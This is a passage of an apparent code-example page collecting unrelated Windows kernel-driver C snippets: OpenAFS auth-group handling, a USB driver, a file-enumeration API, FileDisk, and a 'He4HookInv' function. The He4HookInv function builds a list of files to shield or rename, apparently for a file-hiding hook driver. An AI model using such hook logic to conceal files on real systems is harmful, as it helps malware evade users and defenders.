            if( NT_SUCCESS( ntStatus) &&
                pParentProcessCB != NULL)
            {
                AFSAcquireExcl( &pParentProcessCB->Lock,
                                TRUE);

                AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                              AFS_TRACE_LEVEL_VERBOSE,
                              "%s Located process entry for Parent ProcessID %I64X\n",
                              __FUNCTION__,
                              pProcessCB->ParentProcessId));
            }
        }
        else
        {

            AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                          AFS_TRACE_LEVEL_VERBOSE,
                          "%s No parent ID for ProcessID %I64X\n",
                          __FUNCTION__,
                          ullProcessID));
        }

        AFSAcquireExcl( &pProcessCB->Lock,
                        TRUE);

#if defined(_WIN64)

        //
        // Mark the process as 64-bit if it is.
        //

        if( !IoIs32bitProcess( NULL))
        {

            SetFlag( pProcessCB->Flags, AFS_PROCESS_FLAG_IS_64BIT);
        }
        else
        {

            ClearFlag( pProcessCB->Flags, AFS_PROCESS_FLAG_IS_64BIT);
        }
#endif

        //
        // Locate the SID for the caller
        //

        ntStatus = AFSGetCallerSID( &uniSIDString, &bImpersonation);

        if( !NT_SUCCESS( ntStatus))
        {

            AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                          AFS_TRACE_LEVEL_ERROR,
                          "%s Failed to locate callers SID for ProcessID %I64X\n",
                          __FUNCTION__,
                          ullProcessID));

            try_return( ntStatus);
        }

        ulSessionId = AFSGetSessionId( (HANDLE)ullProcessID, &bImpersonation);

        if( ulSessionId == (ULONG)-1)
        {

            AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                          AFS_TRACE_LEVEL_ERROR,
                          "%s Failed to retrieve session ID for ProcessID %I64X\n",
                          __FUNCTION__,
                          ullProcessID));

            try_return( ntStatus = STATUS_INSUFFICIENT_RESOURCES);
        }

        AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                      AFS_TRACE_LEVEL_VERBOSE,
                      "%s Retrieved callers SID %wZ for ProcessID %I64X Session %08lX\n",
                      __FUNCTION__,
                      &uniSIDString,
                      ullProcessID,
                      ulSessionId));

        //
        // If there is an Auth Group for the current process,
        // our job is finished.
        //

        if ( bImpersonation == FALSE)
        {
            pAuthGroup = pProcessCB->ActiveAuthGroup;

            if( pAuthGroup != NULL &&
                !AFSIsNoPAGAuthGroup( pAuthGroup))
            {

                uniGUID.Buffer = NULL;

                RtlStringFromGUID( *pAuthGroup,
                                   &uniGUID);

                AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                              AFS_TRACE_LEVEL_VERBOSE,
                              "%s Located valid AuthGroup GUID %wZ for SID %wZ ProcessID %I64X Session %08lX\n",
                              __FUNCTION__,
                              &uniGUID,
                              &uniSIDString,
                              ullProcessID,
                              ulSessionId));

                if( uniGUID.Buffer != NULL)
                {
                    RtlFreeUnicodeString( &uniGUID);
                }

                try_return( ntStatus = STATUS_SUCCESS);
            }

            //
            // The current process does not yet have an Auth Group.  Try to inherit
            // one from the parent process thread that created this process.
            //

            if( pParentProcessCB != NULL)
            {

                for ( pParentThreadCB = pParentProcessCB->ThreadList;
                      pParentThreadCB != NULL;
                      pParentThreadCB = pParentThreadCB->Next)
                {

                    if( pParentThreadCB->ThreadId == pProcessCB->CreatingThreadId)
                    {
                        break;
                    }
                }

                //
                // If the creating thread was found and it has a thread specific
                // Auth Group, use that even if it is the No PAG
                //

                if( pParentThreadCB != NULL &&
                    pParentThreadCB->ActiveAuthGroup != NULL &&
                    !AFSIsNoPAGAuthGroup( pParentThreadCB->ActiveAuthGroup))
                {
                    pProcessCB->ActiveAuthGroup = pParentThreadCB->ActiveAuthGroup;

                    uniGUID.Buffer = NULL;

                    RtlStringFromGUID( *(pProcessCB->ActiveAuthGroup),
                                       &uniGUID);

                    AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                                  AFS_TRACE_LEVEL_VERBOSE,
                                  "%s PID %I64X Session %08lX inherited Active AuthGroup %wZ from thread %I64X\n",
                                  __FUNCTION__,
                                  ullProcessID,
                                  ulSessionId,
                                  &uniGUID,
                                  pParentThreadCB->ThreadId));

                    if( uniGUID.Buffer != NULL)
                    {
                        RtlFreeUnicodeString( &uniGUID);
                    }
                }

                //
                // If the parent thread was not found or does not have an auth group
                //

                else if( pParentProcessCB->ActiveAuthGroup != NULL &&
                         !AFSIsNoPAGAuthGroup( pParentProcessCB->ActiveAuthGroup))
                {
                    pProcessCB->ActiveAuthGroup = pParentProcessCB->ActiveAuthGroup;

                    uniGUID.Buffer = NULL;

                    RtlStringFromGUID( *(pProcessCB->ActiveAuthGroup),
                                       &uniGUID);

                    AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                                  AFS_TRACE_LEVEL_VERBOSE,
                                  "%s PID %I64X Session %08lX inherited Active AuthGroup %wZ from parent PID %I64X\n",
                                  __FUNCTION__,
                                  ullProcessID,
                                  ulSessionId,
                                  &uniGUID,
                                  pParentProcessCB->TreeEntry.HashIndex));

                    if( uniGUID.Buffer != NULL)
                    {
                        RtlFreeUnicodeString( &uniGUID);
                    }
                }

                //
                // If an Auth Group was inherited, set it to be the active group
                //

                if( pProcessCB->ActiveAuthGroup != NULL &&
                    !AFSIsNoPAGAuthGroup( pParentProcessCB->ActiveAuthGroup))
                {
                    pAuthGroup = pProcessCB->ActiveAuthGroup;

                    uniGUID.Buffer = NULL;

                    RtlStringFromGUID( *(pProcessCB->ActiveAuthGroup),
                                       &uniGUID);

                    AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                                  AFS_TRACE_LEVEL_VERBOSE,
                                  "%s Returning(1) Active AuthGroup %wZ for SID %wZ PID %I64X Session %08lX\n",
                                  __FUNCTION__,
                                  &uniGUID,
                                  &uniSIDString,
                                  ullProcessID,
                                  ulSessionId));

                    if( uniGUID.Buffer != NULL)
                    {
                        RtlFreeUnicodeString( &uniGUID);
                    }

                    try_return( ntStatus);
                }
            }
        }

        //
        // If no Auth Group was inherited, assign one based upon the Session and SID
        //

        ntStatus = RtlHashUnicodeString( &uniSIDString,
                                         TRUE,
                                         HASH_STRING_ALGORITHM_DEFAULT,
                                         &ulSIDHash);

        if( !NT_SUCCESS( ntStatus))
        {

            AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                          AFS_TRACE_LEVEL_ERROR,
                          "%s Failed to hash SID %wZ for PID %I64X Session %08lX Status %08lX\n",
                          __FUNCTION__,
                          &uniSIDString,
                          ullProcessID,
                          ulSessionId,
                          ntStatus));

            try_return( ntStatus);
        }

        ullTableHash = ( ((ULONGLONG)ulSessionId << 32) | ulSIDHash);

        AFSAcquireShared( pDeviceExt->Specific.Control.AuthGroupTree.TreeLock,
                          TRUE);

        ntStatus = AFSLocateHashEntry( pDeviceExt->Specific.Control.AuthGroupTree.TreeHead,
                                       (ULONGLONG)ullTableHash,
                                       (AFSBTreeEntry **)&pSIDEntryCB);

        if( !NT_SUCCESS( ntStatus) ||
            pSIDEntryCB == NULL)
        {

            AFSReleaseResource( pDeviceExt->Specific.Control.AuthGroupTree.TreeLock);

            AFSAcquireExcl( pDeviceExt->Specific.Control.AuthGroupTree.TreeLock,
                            TRUE);

            ntStatus = AFSLocateHashEntry( pDeviceExt->Specific.Control.AuthGroupTree.TreeHead,
                                           (ULONGLONG)ullTableHash,
                                           (AFSBTreeEntry **)&pSIDEntryCB);

            if( !NT_SUCCESS( ntStatus) ||
                pSIDEntryCB == NULL)
            {

                pSIDEntryCB = (AFSSIDEntryCB *)AFSExAllocatePoolWithTag( NonPagedPool,
                                                                         sizeof( AFSSIDEntryCB),
                                                                         AFS_AG_ENTRY_CB_TAG);

                if( pSIDEntryCB == NULL)
                {

                    AFSReleaseResource( pDeviceExt->Specific.Control.AuthGroupTree.TreeLock);

                    try_return( ntStatus = STATUS_INSUFFICIENT_RESOURCES);
                }

                RtlZeroMemory( pSIDEntryCB,
                               sizeof( AFSSIDEntryCB));

                pSIDEntryCB->TreeEntry.HashIndex = (ULONGLONG)ullTableHash;

                while( ExUuidCreate( &pSIDEntryCB->AuthGroup) == STATUS_RETRY);

                uniGUID.Buffer = NULL;

                RtlStringFromGUID( pSIDEntryCB->AuthGroup,
                                   &uniGUID);

                AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                              AFS_TRACE_LEVEL_VERBOSE,
                              "%s  SID %wZ PID %I64X Session %08lX generated NEW AG %wZ\n",
                              __FUNCTION__,
                              &uniSIDString,
                              ullProcessID,
                              ulSessionId,
                              &uniGUID));

                if( uniGUID.Buffer != NULL)
                {
                    RtlFreeUnicodeString( &uniGUID);
                }

                if( pDeviceExt->Specific.Control.AuthGroupTree.TreeHead == NULL)
                {
                    pDeviceExt->Specific.Control.AuthGroupTree.TreeHead = (AFSBTreeEntry *)pSIDEntryCB;
                }
                else
                {
                    AFSInsertHashEntry( pDeviceExt->Specific.Control.AuthGroupTree.TreeHead,
                                        &pSIDEntryCB->TreeEntry);
                }
            }

            AFSConvertToShared( pDeviceExt->Specific.Control.AuthGroupTree.TreeLock);
        }


        AFSReleaseResource( pDeviceExt->Specific.Control.AuthGroupTree.TreeLock);

        //
        // Store the auth group into the process cb
        //

        pProcessCB->ActiveAuthGroup = &pSIDEntryCB->AuthGroup;

        uniGUID.Buffer = NULL;

        RtlStringFromGUID( pSIDEntryCB->AuthGroup,
                           &uniGUID);

        AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                      AFS_TRACE_LEVEL_VERBOSE,
                      "%s SID %wZ PID %I64X Session %08lX assigned AG %wZ\n",
                      __FUNCTION__,
                      &uniSIDString,
                      ullProcessID,
                      ulSessionId,
                      &uniGUID));

        if( uniGUID.Buffer != NULL)
        {
            RtlFreeUnicodeString( &uniGUID);
        }

        //
        // Set the AFS_PROCESS_LOCAL_SYSTEM_AUTH flag if the process SID
        // is LOCAL_SYSTEM
        //

        if( AFSIsLocalSystemSID( &uniSIDString))
        {
            SetFlag( pProcessCB->Flags, AFS_PROCESS_LOCAL_SYSTEM_AUTH);

            AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                          AFS_TRACE_LEVEL_VERBOSE,
                          "%s Setting PID %I64X Session %08lX with LOCAL SYSTEM AUTHORITY\n",
                          __FUNCTION__,
                          ullProcessID,
                          ulSessionId));
        }

        //
        // Return the auth group
        //

        pAuthGroup = pProcessCB->ActiveAuthGroup;

        uniGUID.Buffer = NULL;

        RtlStringFromGUID( *(pProcessCB->ActiveAuthGroup),
                           &uniGUID);

        AFSDbgTrace(( AFS_SUBSYSTEM_AUTHGROUP_PROCESSING,
                      AFS_TRACE_LEVEL_VERBOSE,
                      "%s Returning(2) Active AuthGroup %wZ for SID %wZ PID %I64X Session %08lX\n",
                      __FUNCTION__,
                      &uniGUID,
                      &uniSIDString,
                      ullProcessID,
                      ulSessionId));

        if( uniGUID.Buffer != NULL)
        {
            RtlFreeUnicodeString( &uniGUID);
        }

try_exit:

        if( pProcessCB != NULL)
        {

            if( bImpersonation == FALSE &&
                !BooleanFlagOn( pProcessCB->Flags, AFS_PROCESS_FLAG_ACE_SET) &&
                NT_SUCCESS( ntStatus))
            {
                ntStatus = AFSProcessSetProcessDacl( pProcessCB);

                if( !NT_SUCCESS( ntStatus))
                {
                    pAuthGroup = NULL;
                }
                else
                {
                    SetFlag( pProcessCB->Flags, AFS_PROCESS_FLAG_ACE_SET);
                }
            }

            AFSReleaseResource( &pProcessCB->Lock);
        }

        if( pParentProcessCB != NULL)
        {
            AFSReleaseResource( &pParentProcessCB->Lock);
        }

        if( uniSIDString.Length > 0)
        {
            RtlFreeUnicodeString( &uniSIDString);
        }

        if ( !bProcessTreeLocked)
        {

            AFSReleaseResource( pDeviceExt->Specific.Control.ProcessTree.TreeLock);
        }
    }

    return pAuthGroup;
}
Example #10
0
NTSTATUS
IsoUsb_CreateDeviceObject(
    IN PDRIVER_OBJECT DriverObject,
    IN PDEVICE_OBJECT PhysicalDeviceObject,
    IN PDEVICE_OBJECT *DeviceObject
    )
/*++

Routine Description:

    Creates a Functional DeviceObject

Arguments:

    DriverObject - pointer to the driver object for device

    DeviceObject - pointer to DeviceObject pointer to return
		    created device object.

    Instance - instance of the device create.

Return Value:

    STATUS_SUCCESS if successful,
    STATUS_UNSUCCESSFUL otherwise

--*/
{
    NTSTATUS ntStatus;
    UNICODE_STRING deviceLinkUnicodeString;
    PDEVICE_EXTENSION deviceExtension;
    USHORT i;
    
    UNICODE_STRING pdoUniCodeName;
    WCHAR	   pdoName[] = L"\\Device\\AVR309USB_0";

    UNICODE_STRING DeviceLinkUniCodeString;
    WCHAR          DeviceLinkName[] = L"\\DosDevices\\AVR309USB_0";
    
    RtlInitUnicodeString (&pdoUniCodeName, pdoName); // Creates Unicode Name    

    ISOUSB_KdPrint( DBGLVL_DEFAULT,("enter IsoUsb_CreateDeviceObject() \n"));

    ntStatus = IsoUsb_SymbolicLink( PhysicalDeviceObject, &deviceLinkUnicodeString );

    ISOUSB_KdPrintCond( DBGLVL_DEFAULT,
	    (NT_SUCCESS(ntStatus)),
	    ("IsoUsb_CreateDeviceObject() SUCCESS Create GUID_CLASS_IsoUsb_ISO-based Device name\n   %ws\n Length decimal %d, MaximumLength decimal %d\n",
	    deviceLinkUnicodeString.Buffer,
	    deviceLinkUnicodeString.Length,
	    deviceLinkUnicodeString.MaximumLength));

    ISOUSB_KdPrintCond( DBGLVL_DEFAULT,
	    (!(NT_SUCCESS(ntStatus))),
	    ("IsoUsb_CreateDeviceObject() FAILED to Create GUID_CLASS_ISO-based Device name\n"));

    if (NT_SUCCESS(ntStatus)) {

	ntStatus = IoCreateDevice (DriverObject,
			   sizeof (DEVICE_EXTENSION),
			   &pdoUniCodeName,
			   FILE_DEVICE_UNKNOWN,
			   0,
			   FALSE,
			   DeviceObject);

	if (NT_SUCCESS(ntStatus))  {
	     deviceExtension = (PDEVICE_EXTENSION) ((*DeviceObject)->DeviceExtension);

	}

	ISOUSB_KdPrintCond( DBGLVL_DEFAULT,
		(!(NT_SUCCESS(ntStatus))),
		("IsoUsb_CreateDeviceObject() IoCreateDevice() FAILED\n"));

	 ISOUSB_KdPrintCond( DBGLVL_DEFAULT,
		((NT_SUCCESS(ntStatus))),
		("IsoUsb_CreateDeviceObject() IoCreateDevice() SUCCESS\n"));


	if (!NT_SUCCESS(ntStatus))  {
	     return ntStatus;
	}

        RtlInitUnicodeString (&DeviceLinkUniCodeString, DeviceLinkName);
        ntStatus = IoCreateSymbolicLink(&DeviceLinkUniCodeString, &pdoUniCodeName);

	//default maximum transfer size per io request
	deviceExtension->MaximumTransferSize =  ISO_MAX_TRANSFER_SIZE ;

#if DBG
        // may be overridden in registry
        IsoUsb_GetRegistryDword( ISOUSB_REGISTRY_PARAMETERS_PATH,
                                         L"MaximumTransferSize",
                                         &(deviceExtension->MaximumTransferSize) );
#endif

	// Name buffer for our named Functional device object link
	// The name is generated based on the driver's class GUID
	RtlCopyMemory(deviceExtension->DeviceLinkNameBuffer,
		      deviceLinkUnicodeString.Buffer,
		      deviceLinkUnicodeString.Length);


	// this event is triggered when there is no pending io of any kind and device is removed
	KeInitializeEvent(&deviceExtension->RemoveEvent, NotificationEvent, FALSE);

	// this event is triggered when self-requested power irps complete
	KeInitializeEvent(&deviceExtension->SelfRequestedPowerIrpEvent, NotificationEvent, FALSE);

	// this event is triggered when there is no pending io  (pending io count == 1 )
	KeInitializeEvent(&deviceExtension->NoPendingIoEvent, NotificationEvent, FALSE);

		//free buffer from unicode string we used to init interface
		RtlFreeUnicodeString( &deviceLinkUnicodeString );
    }

     ISOUSB_KdPrintCond( DBGLVL_DEFAULT,
	    ((NT_SUCCESS(ntStatus))),
	    ("Exit IsoUsb_CreateDeviceObject() IoCreateDevice() SUCCESS\n"));


    return ntStatus;
}
Example #11
0
NET_API_STATUS
FileEnumCommon (
    IN LPTSTR BasePath,
    IN LPTSTR UserName,
    IN DWORD Level,
    OUT LPBYTE *Buffer,
    IN DWORD PreferredMaximumLength,
    OUT LPDWORD EntriesRead,
    OUT LPDWORD TotalEntries,
    IN OUT LPDWORD ResumeHandle OPTIONAL,
    IN BOOLEAN IsGetInfo
    )

{
    NET_API_STATUS error;
    PSERVER_REQUEST_PACKET srp;

    //
    // Make sure that the level is valid.
    //

    if ( Level != 2 && Level != 3 ) {
        return ERROR_INVALID_LEVEL;
    }

    //
    // Set up the input parameters in the request buffer.
    //

    srp = SsAllocateSrp( );
    if ( srp == NULL ) {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

#ifdef UNICODE
    RtlInitUnicodeString( &srp->Name1, BasePath );
    RtlInitUnicodeString( &srp->Name2, UserName );
#else
    {
        NTSTATUS status;
        OEM_STRING ansiString;
        RtlInitString( &ansiString, BasePath );
        status = RtlOemStringToUnicodeString( &srp->Name1, &ansiString, TRUE );
        RtlInitString( &ansiString, UserName );
        status = RtlOemStringToUnicodeString( &srp->Name2, &ansiString, TRUE );
    }
#endif

    srp->Level = Level;
    if ( IsGetInfo ) {
        srp->Flags = SRP_RETURN_SINGLE_ENTRY;
    }

    if ( ARGUMENT_PRESENT( ResumeHandle ) ) {
        srp->Parameters.Get.ResumeHandle = *ResumeHandle;
    } else {
        srp->Parameters.Get.ResumeHandle = 0;
    }

    //
    // Get the data from the server.  This routine will allocate the
    // return buffer and handle the case where PreferredMaximumLength ==
    // -1.
    //

    error = SsServerFsControlGetInfo(
                FSCTL_SRV_NET_FILE_ENUM,
                srp,
                (PVOID *)Buffer,
                PreferredMaximumLength
                );

    //
    // Set up return information.  Only change the resume handle if at
    // least one entry was returned.
    //

    *EntriesRead = srp->Parameters.Get.EntriesRead;
    *TotalEntries = srp->Parameters.Get.TotalEntries;
    if ( *EntriesRead > 0 && ARGUMENT_PRESENT( ResumeHandle ) ) {
        *ResumeHandle = srp->Parameters.Get.ResumeHandle;
    }

#ifndef UNICODE
    RtlFreeUnicodeString( &srp->Name1 );
    RtlFreeUnicodeString( &srp->Name2 );
#endif

    SsFreeSrp( srp );

    return error;

} // FileEnumCommon
Example #12
0
BOOLEAN AddFileSaveList(PFILEINFOSET lpFileInfoSet)
{
  PFILEINFO       lpFileInfo, lpFileInfoIn;
  ULONG           dwSize, dwSizeOfItem, dwSizeOfItemNew;
  PWSTR           pwszNtFileName;
  ULONG           dwSizeOfNtFileName;
  ANSI_STRING     FileNameAnsi;
  UNICODE_STRING  FileNameUni;

  if (!_MmIsAddressValid(lpFileInfoSet))
    return FALSE;
  if (lpFileInfoSet->dwSize < SIZEOF_FILEINFOSET)
    return FALSE;

  MUTEX_WAIT(LockMutexToFileSaveList);

  DbgPrintSO(("He4HookInv: AddFileSaveList: Start!!!\n"));
  if (!_MmIsAddressValid(pSaveList))
  {
    pSaveList = new KDLinkedList(NULL);
    if (pSaveList == NULL)
    {
      DbgPrintSO(("He4HookInv: AddFileSaveList: File list create ERROR!!!\n"));
      MUTEX_RELEASE(LockMutexToFileSaveList);
      return FALSE;
    }
  }

  if (!_MmIsAddressValid(pDirTree))
  {
    pDirTree = new KShieldDirectoryTree();
    if (pDirTree == NULL)
    {
      DbgPrintSO(("He4HookInv: AddFileSaveList: KShieldDirectoryTree create ERROR!!!\n"));
      MUTEX_RELEASE(LockMutexToFileSaveList);
      return FALSE;
    }
  }

  DbgPrintSO(("He4HookInv: AddFileSaveList: List created OK!!!\n"));

  dwSize = lpFileInfoSet->dwSize - (SIZEOF_FILEINFOSET - SIZEOF_FILEINFO);
  lpFileInfoIn = &lpFileInfoSet->FileInfo[0];
  while(dwSize > SIZEOF_FILEINFO)
  {
    if (!CheckFileInfo(lpFileInfoIn))
      break;
    dwSizeOfItem = ((SIZEOF_FILEINFO-sizeof(CHAR)) + lpFileInfoIn->dwSizeAllNamesArea);
    if (lpFileInfoIn->dwSizeAnsiName > sizeof(CHAR))
    {
      pwszNtFileName = (PWSTR)_AllocatePoolFromKHeap(hKHeapSOFileList, sizeof(WCHAR)*lpFileInfoIn->dwSizeAnsiName+2048);
      if (pwszNtFileName)
      {
        RtlInitAnsiString(&FileNameAnsi, lpFileInfoIn->szNames+lpFileInfoIn->dwOffsetToAnsiName);
        RtlAnsiStringToUnicodeString(&FileNameUni, &FileNameAnsi, TRUE);
        dwSizeOfNtFileName = DosPathNameToNtPathName(FileNameUni.Buffer, pwszNtFileName, sizeof(WCHAR)*lpFileInfoIn->dwSizeAnsiName+2048, 255, NULL);
        RtlFreeUnicodeString(&FileNameUni);

        if (dwSizeOfNtFileName)
        {
          dwSizeOfNtFileName += sizeof(WCHAR);
          dwSizeOfItemNew = (SIZEOF_FILEINFO-sizeof(CHAR)) + lpFileInfoIn->dwSizeAnsiName + dwSizeOfNtFileName;
          
          #define ADD_NT_PATH   L"\\??\\"
          //L"\\DosDevices\\"
          //L"\\??\\"
          
          if (lpFileInfoIn->dwAccessType & FILE_ACC_TYPE_EXCHANGE)
          {
            if (lpFileInfoIn->dwSizeAnsiChangedName > sizeof(CHAR))
            {
              dwSizeOfItemNew += sizeof(WCHAR)*lpFileInfoIn->dwSizeAnsiChangedName + sizeof(ADD_NT_PATH)-sizeof(WCHAR);
            }
            else
            {
              if (lpFileInfoIn->dwSizeUniChangedName > sizeof(WCHAR))
                dwSizeOfItemNew += lpFileInfoIn->dwSizeUniChangedName;
            }
          }
          
          lpFileInfo = (PFILEINFO)_AllocatePoolFromKHeap(hKHeapSOFileList, dwSizeOfItemNew+sizeof(WCHAR));
          if (lpFileInfo)
          {
            memset(lpFileInfo, 0, dwSizeOfItemNew+sizeof(WCHAR));
            lpFileInfo->dwAccessType = lpFileInfoIn->dwAccessType;
            lpFileInfo->dwSizeAllNamesArea = dwSizeOfItemNew - (SIZEOF_FILEINFO-sizeof(CHAR));
          
            lpFileInfo->dwOffsetToAnsiName = 0;
            lpFileInfo->dwSizeAnsiName = lpFileInfoIn->dwSizeAnsiName;
          
            RtlCopyMemory(lpFileInfo->szNames+lpFileInfo->dwOffsetToAnsiName,
                          lpFileInfoIn->szNames+lpFileInfoIn->dwOffsetToAnsiName,
                          lpFileInfo->dwSizeAnsiName);
          
            lpFileInfo->dwOffsetToUniName = lpFileInfo->dwOffsetToAnsiName + lpFileInfo->dwSizeAnsiName;
            lpFileInfo->dwSizeUniName = dwSizeOfNtFileName;
          
            RtlCopyMemory(lpFileInfo->szNames+lpFileInfo->dwOffsetToUniName, pwszNtFileName, dwSizeOfNtFileName);
          
            if (lpFileInfoIn->dwAccessType & FILE_ACC_TYPE_EXCHANGE)
            {
              if (lpFileInfoIn->dwSizeAnsiChangedName > sizeof(CHAR))
              {
                lpFileInfo->dwOffsetToUniChangedName = lpFileInfo->dwOffsetToUniName + lpFileInfo->dwSizeUniName;
                lpFileInfo->dwSizeUniChangedName = sizeof(WCHAR)*lpFileInfoIn->dwSizeAnsiChangedName+sizeof(ADD_NT_PATH)-sizeof(WCHAR);
          
                RtlInitAnsiString(&FileNameAnsi, lpFileInfoIn->szNames+lpFileInfoIn->dwOffsetToAnsiChangedName);
                RtlAnsiStringToUnicodeString(&FileNameUni, &FileNameAnsi, TRUE);
          
                RtlCopyMemory(lpFileInfo->szNames+lpFileInfo->dwOffsetToUniChangedName, ADD_NT_PATH, sizeof(ADD_NT_PATH));
                RtlCopyMemory((lpFileInfo->szNames+lpFileInfo->dwOffsetToUniChangedName+sizeof(ADD_NT_PATH)-sizeof(WCHAR)), FileNameUni.Buffer,
                              (sizeof(WCHAR)*lpFileInfoIn->dwSizeAnsiChangedName) < (FileNameUni.Length+sizeof(WCHAR)) ? (sizeof(WCHAR)*lpFileInfoIn->dwSizeAnsiChangedName) : (FileNameUni.Length+sizeof(WCHAR)));
                RtlFreeUnicodeString(&FileNameUni);
              }
              else
              {
                if (lpFileInfoIn->dwSizeUniChangedName > sizeof(WCHAR))
                {
                  lpFileInfo->dwOffsetToUniChangedName = lpFileInfo->dwOffsetToUniName + lpFileInfo->dwSizeUniName;
                  lpFileInfo->dwSizeUniChangedName = lpFileInfoIn->dwSizeUniChangedName;
                
                  RtlCopyMemory(
                                lpFileInfo->szNames+lpFileInfo->dwOffsetToUniChangedName,
                                lpFileInfoIn->szNames+lpFileInfoIn->dwOffsetToUniChangedName,
                                lpFileInfo->dwSizeUniChangedName
                               );
                }
                else
                {
                  lpFileInfo->dwAccessType &= ~FILE_ACC_TYPE_EXCHANGE;
                }
              }
            }

            PVOID pContext;
            if (pDirTree->Find((PWSTR)(lpFileInfo->szNames+lpFileInfo->dwOffsetToUniName), &pContext) == NULL)
            {
              DbgPrintSO(("He4HookInv: AddFileSaveList: %s, type = %x\n", lpFileInfo->szNames+lpFileInfo->dwOffsetToAnsiName, lpFileInfo->dwAccessType));
              if (pDirTree->Add((PWSTR)(lpFileInfo->szNames+lpFileInfo->dwOffsetToUniName), (PVOID)lpFileInfo) == TRUE)
              {
                if (pSaveList->AddTailObject(lpFileInfo) == FALSE)
                {
                  pDirTree->Remove((PWSTR)(lpFileInfo->szNames+lpFileInfo->dwOffsetToUniName), NULL);
                  FreePoolToKHeap(hKHeapSOFileList, lpFileInfo); 
                }
              }
              else
              {
                FreePoolToKHeap(hKHeapSOFileList, lpFileInfo); 
              }
            }
            else
            {
              FreePoolToKHeap(hKHeapSOFileList, lpFileInfo); 
            }
          }
        }
        FreePoolToKHeap(hKHeapSOFileList, pwszNtFileName);
      }
    }
    dwSize -= dwSizeOfItem;
    lpFileInfoIn = (PFILEINFO)((PCHAR)lpFileInfoIn + dwSizeOfItem);
  }

  MUTEX_RELEASE(LockMutexToFileSaveList);

  return TRUE;
}
Example #13
0
NTSTATUS
FileDiskOpenFile (
    IN PDEVICE_OBJECT   DeviceObject,
    IN PIRP             Irp
    )
{
    PDEVICE_EXTENSION               device_extension;
    POPEN_FILE_INFORMATION          open_file_information;
    UNICODE_STRING                  ufile_name;
    NTSTATUS                        status;
    OBJECT_ATTRIBUTES               object_attributes;
    FILE_END_OF_FILE_INFORMATION    file_eof;
    FILE_BASIC_INFORMATION          file_basic;
    FILE_STANDARD_INFORMATION       file_standard;
    FILE_ALIGNMENT_INFORMATION      file_alignment;

    PAGED_CODE();

    ASSERT(DeviceObject != NULL);
    ASSERT(Irp != NULL);

    device_extension = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;

    open_file_information = (POPEN_FILE_INFORMATION) Irp->AssociatedIrp.SystemBuffer;

    if (DeviceObject->DeviceType != FILE_DEVICE_CD_ROM)
    {
        device_extension->read_only = open_file_information->ReadOnly;
    }

    device_extension->file_name.Length = open_file_information->FileNameLength;
    device_extension->file_name.MaximumLength = open_file_information->FileNameLength;
    device_extension->file_name.Buffer = ExAllocatePool(NonPagedPool, open_file_information->FileNameLength);

    RtlCopyMemory(
        device_extension->file_name.Buffer,
        open_file_information->FileName,
        open_file_information->FileNameLength
        );

    status = RtlAnsiStringToUnicodeString(
        &ufile_name,
        &device_extension->file_name,
        TRUE
        );

    if (!NT_SUCCESS(status))
    {
        ExFreePool(device_extension->file_name.Buffer);
        Irp->IoStatus.Status = status;
        Irp->IoStatus.Information = 0;
        return status;
    }

    InitializeObjectAttributes(
        &object_attributes,
        &ufile_name,
        OBJ_CASE_INSENSITIVE,
        NULL,
        NULL
        );

    status = ZwCreateFile(
        &device_extension->file_handle,
        device_extension->read_only ? GENERIC_READ : GENERIC_READ | GENERIC_WRITE,
        &object_attributes,
        &Irp->IoStatus,
        NULL,
        FILE_ATTRIBUTE_NORMAL,
        device_extension->read_only ? FILE_SHARE_READ : 0,
        FILE_OPEN,
        FILE_NON_DIRECTORY_FILE |
        FILE_RANDOM_ACCESS |
        FILE_NO_INTERMEDIATE_BUFFERING |
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL,
        0
        );

    if (status == STATUS_OBJECT_NAME_NOT_FOUND || status == STATUS_NO_SUCH_FILE)
    {
        if (device_extension->read_only || open_file_information->FileSize.QuadPart == 0)
        {
            ExFreePool(device_extension->file_name.Buffer);
            RtlFreeUnicodeString(&ufile_name);

            Irp->IoStatus.Status = STATUS_NO_SUCH_FILE;
            Irp->IoStatus.Information = 0;

            return STATUS_NO_SUCH_FILE;
        }
        else
        {
            status = ZwCreateFile(
                &device_extension->file_handle,
                GENERIC_READ | GENERIC_WRITE,
                &object_attributes,
                &Irp->IoStatus,
                &open_file_information->FileSize,
                FILE_ATTRIBUTE_NORMAL,
                0,
                FILE_OPEN_IF,
                FILE_NON_DIRECTORY_FILE |
                FILE_RANDOM_ACCESS |
                FILE_NO_INTERMEDIATE_BUFFERING |
                FILE_SYNCHRONOUS_IO_NONALERT,
                NULL,
                0
                );

            if (!NT_SUCCESS(status))
            {
                ExFreePool(device_extension->file_name.Buffer);
                RtlFreeUnicodeString(&ufile_name);
                return status;
            }

            if (Irp->IoStatus.Information == FILE_CREATED)
            {
                file_eof.EndOfFile.QuadPart = open_file_information->FileSize.QuadPart;

                status = ZwSetInformationFile(
                    device_extension->file_handle,
                    &Irp->IoStatus,
                    &file_eof,
                    sizeof(FILE_END_OF_FILE_INFORMATION),
                    FileEndOfFileInformation
                    );

                if (!NT_SUCCESS(status))
                {
                    ExFreePool(device_extension->file_name.Buffer);
                    RtlFreeUnicodeString(&ufile_name);
                    ZwClose(device_extension->file_handle);
                    return status;
                }
            }
        }
    }
    else if (!NT_SUCCESS(status))
    {
        ExFreePool(device_extension->file_name.Buffer);
        RtlFreeUnicodeString(&ufile_name);
        return status;
    }

    RtlFreeUnicodeString(&ufile_name);

    status = ZwQueryInformationFile(
        device_extension->file_handle,
        &Irp->IoStatus,
